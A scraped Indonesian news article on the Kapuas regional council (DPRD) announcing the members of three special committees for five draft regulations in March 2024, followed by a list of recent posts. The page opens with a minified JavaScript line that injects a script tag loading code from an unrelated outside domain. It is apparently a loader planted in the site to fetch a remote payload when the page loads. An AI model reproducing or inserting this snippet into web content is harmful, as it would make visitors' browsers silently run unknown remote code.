(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Kapuas

Setwan DPRD Kapuas Umumkan Nama-nama Anggota Pansus Raperda


KANALKALIMANTAN.COM, KUALA KAPUAS – Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas, Kalteng mengumumkan nama-nama anggota Panitia Khusus (Pansus) terhadap lima Rancangan Peraturan Daerah (Raperda), Senin (25/3/2024).

Pengumuman nama-nama anggota Pansus DPRD Kapuas dilakukan dalam rapat paripurna ke 4 masa persidangan II tahun sidang 2024 di ruang rapat paripurna DPRD Kapuas.

Rapat paripurna dipimpin Wakil Ketua II DPRD Kapuas Evan Rahman Saputra, diikuti anggota DPRD dan dihadiri Penjabat Bupati Kapuas Erlin Hardi dan undangan lainnya.

Baca juga: Peternak Babi Diminta Angkat Kaki, Mama Yeol Minta Pemko Berikan Solusi

Nama-nama anggota Pansus DPRD Kapuas yang diumumkan tersebut merupakan utusan dari fraksi-fraksi pendukung dewan, yang dibacakan oleh Sekretaris DPRD Kapuas, Perry Noah.

Mulai dari Pansus I untuk Raperda tentang bangunan gedung. Nama-nama anggota Pansus adalah Hj Siti Rusyda, Didi Hartoyo, Franco B Dehen, Bardiansyah, H Pahmi, Devi Putri Azahra, H Ahmad Zahidi, Indah Ayu Lestari, Kanedi, dan Rusmianur.

Baca juga: Bertarif Rp100 Ribu, PSK Pembatuan Harus Bayar Kamar Rp10 Ribu

Lalu, Pansus II untuk Raperda tentang pengakuan dan perlindungan masyarakat hukum adat dan Raperda tentang perubahan kedua atas Perda nomor 10 tahun 2016 tentang pembentukan dan susunan perangkat daerah Nama-nama anggota Pansus II yakni Abdurahman Amur, Rahmad Jainudin, Thosibae Limin, Agustinus Gerung, Berinto, Kunanto, H Darwandie, Hj Hairiah, Yetty Indriana, H Ahmad Baihaqi, Zulkarnain, M Guntur Jagat Pradipta, H Yudi Adam, dan H Parij Ismeth Rinjani.

Terakhir, Pansus III untuk Raperda tentang pencabutan Perda Kabupaten Kapuas nomor 10 tahun 2007 tentang lembaga kemasyarakatan dan Raperda tentang Kabupaten Layak Anak (KLA). Nama-nama anggota Pansus III yaitu Algrin Gasan, Free Buben, Syarkawi H Sibu, Sera Sintanola, Patnawigati, Noni Ermirawati, Mardani, Aldhika Kurniawan, Sri Umi Daryatun, Lawin, Lindawati dan Peniana. (Kanalkalimantan.com/ags)

Reporter : ags
Editor : kk


Muhammad Andi

Recent Posts

Bupati Kapuas Resmikan Kantor Kelurahan Selat Hulu

KANALKALIMANTAN.COM, KUALA KAPUAS - Kantor Kelurahan Selat Hulu yang berlokasi di Jalan Cilik Riwut Gang… Read More

3 jam ago

13 Februari Hari Persatuan Ahli Farmasi Indonesia: Ini Sejarahnya

KANALKALIMANTAN.COM - Insan farmasi di Indonesia setiap tanggal 13 Februari memperingati Hari Persatuan Ahli Farmasi… Read More

6 jam ago

BI Kalsel Selenggarakan SERAMBI 2026, Dukung Kebutuhan Uang Kartal Periode Ramadan dan Idulfitri

KANALKALIMANTAN.COM, BANJARMASIN – Kantor Perwakilan (KPw) Bank Indonesia (BI) Provinsi Kalimantan Selatan menggelar kick off… Read More

7 jam ago

KPK Dalami Hubungan Jabatan Kepala KPP Madya Banjarmasin di 12 Perusahaan

KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) sedang mendalami hubungan antara jabatan direksi yang dimiliki… Read More

15 jam ago

Gubernur Muhidin Ingatkan Dana Transfer Pusat Dimanfaatkan Optimal

KANALKALIMANTAN.COM, BANJARMASIN – Gubernur Kalimantan Selatan (Kalsel) H Muhidin meminta langkah strategis untuk memastikan dana… Read More

16 jam ago

Upaya Mencegah Perkawinan Usia Anak di Balangan

KANALKALIMANTAN.COM, PARINGIN - Upaya mencegah perkawinan usia anak, Dinas Pemberdayaan Perempuan, Perlindungan Anak, Pengendalian Penduduk,… Read More

17 jam ago

This website uses cookies.